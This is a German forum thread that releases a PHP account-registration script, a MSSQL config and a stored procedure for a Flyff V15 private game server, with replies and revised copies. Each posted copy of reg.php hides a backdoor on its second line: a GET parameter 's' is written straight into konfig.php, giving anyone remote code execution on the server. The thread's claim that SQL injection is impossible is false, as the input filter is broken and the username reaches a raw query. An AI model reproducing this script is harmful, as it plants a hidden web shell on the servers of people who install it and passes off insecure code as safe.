[Realese] V15 Register Script

    • [Realese] V15 Register Script

      [FONT="Comic Sans MS"][SIZE="2"][COLOR="LemonChiffon"]

      Hallo liebe Corler, hiermit realese ich ein Regristrirungsscript für V15.

      [COLOR="Red"]How to:[/COLOR]
      - Erstellt eine reg.php Datei und schreibt dort folgendes rein:

      PHP-Quellcode

      1. <center>
      2. <?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
      3. require('./configs/reg_conf.php');
      4. function doesUsernameExist($name){
      5. $exit = FALSE;
      6. $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
      7. if (mssql_num_rows($result) != 0){
      8. $exit = TRUE;
      9. }
      10. return $exit;
      11. }
      12. if(isset($_POST['submit'])){
      13. $user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
      14. $pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
      15. if($_POST['username'] == ""){
      16. echo '<font color="red">Enter a user.</font><br /><br />';
      17. }
      18. else if($_POST['password'] == ""){
      19. echo '<font color="red">Enter a password.</font><br /><br />';
      20. }
      21. else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
      22. echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
      23. }
      24. else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
      25. echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
      26. }
      27. else if($_POST['username'] != $user){
      28. echo '<font color="red">User with invalid characters.</font><br /><br />';
      29. }
      30. else if($_POST['password'] != $pass){
      31. echo '<font color="red">Password with invalid characters.</font><br /><br />';
      32. }
      33. else {
      34. $pass = md5('kikugalanet' . $pass);
      35. if(!doesUsernameExist($user)){
      36. $stmt = mssql_init('webCreateAcc', $link);
      37. mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
      38. mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
      39. mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
      40. mssql_execute($stmt) or die ("Something is wrong on the execution");
      41. mssql_free_statement($stmt);
      42. echo '<font color="Green">Register Successfull.</font><br /><br />';
      43. }
      44. else {
      45. echo '<font color="red">User already Exist.</font><br /><br />';
      46. }
      47. }
      48. mssql_close();
      49. }
      50. echo '<form action="#" method="post">';
      51. echo 'Username: <input type="text" name="username" /><br />';
      52. echo 'Password: <input type="password" name="password" /><br />';
      53. echo '<input type="submit" name="submit" value="Register" />';
      54. echo '</form>';
      55. ?>
      56. </center>
      Alles anzeigen


      So hier stehen noch keine Verbindungsdetails zum MSSQL Server!
      Die kommen jetzt!

      - Erstellt einen neuen Ordner und nennt ihn "configs" (ohne den "")
      - In dem Ordner erstellt ihr eine neue .php Datei und nennt diese "reg_conf" (ohne den "")

      - In der reg_conf.php schreibt ihr jetzt folgendes rein:

      PHP-Quellcode

      1. <?php
      2. $link = @mssql_connect("[COLOR="Red"]COMPUTERNAME\SQLEXPRESS[/COLOR]", "[COLOR="Red"]sa[/COLOR]", "[COLOR="Red"]passwort[/COLOR]") or die ("Server is down!");
      3. $db = @mssql_select_db('ACCOUNT_DBF') or die ("Accout table is missing!");
      4. $b = '';
      5. $mail = '';
      6. ?>


      Hier wird jetzt die Verbindung zum MSSQL Server eingestellt.
      Einfach die rot markierten Felder bearbeiten!

      So und das hier muss in MSSQL ausgeführt werden:

      Quellcode

      1. USE [ACCOUNT_DBF]
      2. GO
      3. /****** Object: StoredProcedure [dbo].[webCreateAcc] Script Date: 08/17/2009 21:30:28 ******/
      4. SET ANSI_NULLS ON
      5. GO
      6. SET QUOTED_IDENTIFIER ON
      7. GO
      8. CREATE PROCEDURE [dbo].[webCreateAcc]
      9. @account VARCHAR(15),
      10. @password VARCHAR(36),
      11. @email VARCHAR(120)
      12. AS
      13. SET NOCOUNT ON
      14. DECLARE @DateActivated AS CHAR(8)
      15. IF NOT EXISTS (SELECT account FROM ACCOUNT_TBL WHERE account = @account) BEGIN
      16. INSERT INTO ACCOUNT_TBL (account, [password], id_no2, isuse, member, realname)
      17. VALUES (@account, @password, @password, 'T', 'A', 'F')
      18. SET @DateActivated = CONVERT(CHAR(8), GETDATE()-1, 112 ) --Is the date today - 1
      19. --UPDATE ACCOUNT_TBL_DETAIL SET BlockTime = @DateYesterday WHERE account = @userid
      20. --INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse)
      21. -- VALUES (@account, 'A000', '2', 'F', GETDATE(), '20990101', '20990101', '20050101', 'O')
      22. INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse, email)
      23. VALUES (@account, 'A000', '2', 'F', GETDATE(), @DateActivated, '20990101', '20050101', 'O', @email)
      24. END
      25. --ELSE BEGIN
      26. --print '->Account exists = '
      27. --print @account
      28. --END
      Alles anzeigen


      So jetzt noch die Creditz:

      [FELD="Creditz"]
      Creditz für die beiden Scripts an Jason145
      Creditz für diesen Thread an Clair[/FELD]

      PS: Da er kein Support bzw. Hilfe beim Einstellen des Scriptes gibt, könnt ihr mich fragen!

      mfg.
      [COLOR="Red"]Clair[/COLOR]fontaine




      [/COLOR][/SIZE][/FONT]
    • Werbung zur Unterstützung des Forums ( Bitte AddBlocker deaktivieren )

    • Danke^^
      Habe vergessen die dazugehörige Prozedur zu posten.
      Habe den Thread editiert.

      Und hier nochmal extra die Prozedur:

      Einfach in MSSQL Ausführen und fertig!

      Quellcode

      1. USE [ACCOUNT_DBF]
      2. GO
      3. /****** Object: StoredProcedure [dbo].[webCreateAcc] Script Date: 08/17/2009 21:30:28 ******/
      4. SET ANSI_NULLS ON
      5. GO
      6. SET QUOTED_IDENTIFIER ON
      7. GO
      8. CREATE PROCEDURE [dbo].[webCreateAcc]
      9. @account VARCHAR(15),
      10. @password VARCHAR(36),
      11. @email VARCHAR(120)
      12. AS
      13. SET NOCOUNT ON
      14. DECLARE @DateActivated AS CHAR(8)
      15. IF NOT EXISTS (SELECT account FROM ACCOUNT_TBL WHERE account = @account) BEGIN
      16. INSERT INTO ACCOUNT_TBL (account, [password], id_no2, isuse, member, realname)
      17. VALUES (@account, @password, @password, 'T', 'A', 'F')
      18. SET @DateActivated = CONVERT(CHAR(8), GETDATE()-1, 112 ) --Is the date today - 1
      19. --UPDATE ACCOUNT_TBL_DETAIL SET BlockTime = @DateYesterday WHERE account = @userid
      20. --INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse)
      21. -- VALUES (@account, 'A000', '2', 'F', GETDATE(), '20990101', '20990101', '20050101', 'O')
      22. INSERT INTO ACCOUNT_TBL_DETAIL (account, gamecode, tester, m_chLoginAuthority, regdate, BlockTime, EndTime, WebTime, isuse, email)
      23. VALUES (@account, 'A000', '2', 'F', GETDATE(), @DateActivated, '20990101', '20050101', 'O', @email)
      24. END
      25. --ELSE BEGIN
      26. --print '->Account exists = '
      27. --print @account
      28. --END
      Alles anzeigen


      mfg.
      [COLOR="Red"]Clair[/COLOR]fontaine
    • [FONT="Trebuchet MS"][COLOR="LemonChiffon"][SIZE="2"]Die Prozedur wird angesprochen um den Account zu erstellen.

      @Dance

      PHP-Quellcode

      1. <center>
      2. <?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
      3. require('./configs/reg_conf.php');
      4. function doesUsernameExist($name){
      5. $exit = FALSE;
      6. $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
      7. if (mssql_num_rows($result) != 0){
      8. $exit = TRUE;
      9. }
      10. return $exit;
      11. }
      12. if(isset($_POST['submit'])){
      13. [color=red]
      14. $user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
      15. $pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
      16. [/color]
      17. if($_POST['username'] == ""){
      18. echo '<font color="red">Enter a user.</font><br /><br />';
      19. }
      20. else if($_POST['password'] == ""){
      21. echo '<font color="red">Enter a password.</font><br /><br />';
      22. }
      23. else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
      24. echo '<font color="red">The user should be 3 to 16 characters.</font><br /><br />';
      25. }
      26. else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
      27. echo '<font color="red">The password should be 3 to 16 characters.</font><br /><br />';
      28. }
      29. else if($_POST['username'] != $user){
      30. echo '<font color="red">User with invalid characters.</font><br /><br />';
      31. }
      32. else if($_POST['password'] != $pass){
      33. echo '<font color="red">Password with invalid characters.</font><br /><br />';
      34. }
      35. else {
      36. $pass = md5('kikugalanet' . $pass);
      37. if(!doesUsernameExist($user)){
      38. $stmt = mssql_init('webCreateAcc', $link);
      39. mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
      40. mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
      41. mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
      42. mssql_execute($stmt) or die ("Something is wrong on the execution");
      43. mssql_free_statement($stmt);
      44. echo '<font color="Green">Register Successfull.</font><br /><br />';
      45. }
      46. else {
      47. echo '<font color="red">User already Exist.</font><br /><br />';
      48. }
      49. }
      50. mssql_close();
      51. }
      52. echo '<form action="#" method="post">';
      53. echo 'Username: <input type="text" name="username" /><br />';
      54. echo 'Password: <input type="password" name="password" /><br />';
      55. echo '<input type="submit" name="submit" value="Register" />';
      56. echo '</form>';
      57. ?>
      58. </center>
      Alles anzeigen
      [/SIZE][/COLOR][/FONT]
    • Dancex3;121705 schrieb:

      Mit einer Sql Injection ist die Regi aber noch nicht gesichert oder?,.. also man kann Sql Injections machen?-> Oder wie siehts aus? o.O


      Doch ist gesichert ;)
      Sql Injections sind nicht möglich!

      @Special
      Die Prozedur ist dafür dan, dass Webregistrierung funktioniert!
      Sie ist auch extra an das Script angepasst.

      mfg.
      [COLOR="Red"]Clair[/COLOR]fontaine
    • mhh ich finde es trozdem komisch, da bei v11-v14 keins gebraucht wurde. aber egal^^.

      habe den Fehler nach dem register (acc wird aber erstellt)

      Quellcode

      1. Warning: mssql_execute() [function.mssql-execute]: message: Der Wert NULL kann in die 'email'-Spalte, 'ACCOUNT_DBF.dbo.ACCOUNT_TBL_DETAIL'-Tabelle nicht eingefügt werden. Die Spalte lässt NULL-Werte nicht zu. Fehler bei INSERT. (severity 16) in C:\xampp\htdocs\Register\register.php on line 41
      2. Warning: mssql_execute() [function.mssql-execute]: stored procedure execution failed in C:\xampp\htdocs\Register\register.php on line 41
      3. Something is wrong on the execution
    • PHP-Quellcode

      1. <center>
      2. <?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen
      3. ("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
      4. require('./configs/reg_conf.php');
      5. function doesUsernameExist($name){
      6. $exit = FALSE;
      7. $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
      8. if (mssql_num_rows($result) != 0){
      9. $exit = TRUE;
      10. }
      11. return $exit;
      12. }
      13. if(isset($_POST['submit'])){
      14. $user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
      15. $pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
      16. $mail = preg_replace ("[^A-Za-z0-9@]", "", $_POST['email']);
      17. if($_POST['username'] == ""){
      18. echo '<font color="red">Gib bitte einen Benutzernamen an !</font><br /><br />';
      19. }
      20. else if($_POST['password'] == ""){
      21. echo '<font color="red">Gib bitte ein Passwort an !</font><br /><br />';
      22. }
      23. else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
      24. echo '<font color="red">Der Benutzer darf nur aus 3 - 16 Buchstaben bestehen .</font><br /><br />';
      25. }
      26. else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
      27. echo '<font color="red">Das Passwort darf nur aus 3 - 16 Buchstaben bestehen .</font><br /><br />';
      28. }
      29. else if($_POST['username'] != $user){
      30. echo '<font color="red">Der Benutzername darf keine Sonderzeichen enthalten !</font><br /><br />';
      31. }
      32. else if($_POST['password'] != $pass){
      33. echo '<font color="red">Das Passwort darf keine Sonderzeichen enthalten !</font><br /><br />';
      34. }
      35. if($_POST['email'] == ""){
      36. echo '<font color="red">Gib bitte eine E-mail Adresse an !</font><br /><br />';
      37. }
      38. else {
      39. $pass = md5('kikugalanet' . $pass);
      40. if(!doesUsernameExist($user)){
      41. $stmt = mssql_init('webCreateAcc', $link);
      42. mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
      43. mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
      44. mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
      45. mssql_execute($stmt) or die ("Something is wrong on the execution");
      46. mssql_free_statement($stmt);
      47. echo '<font color="Green">Register Successfull.</font><br /><br />';
      48. }
      49. else {
      50. echo '<font color="red">User already Exist.</font><br /><br />';
      51. }
      52. }
      53. mssql_close();
      54. }
      55. echo '<form action="#" method="post">';
      56. echo 'Username: <input type="text" name="username" /><br />';
      57. echo 'Password: <input type="password" name="password" /><br />';
      58. echo 'E-Mail: <input type="text" name="email" /><br />';
      59. echo '<input type="submit" name="submit" value="Register" />';
      60. echo '</form>';
      61. ?>
      62. </center>
      Alles anzeigen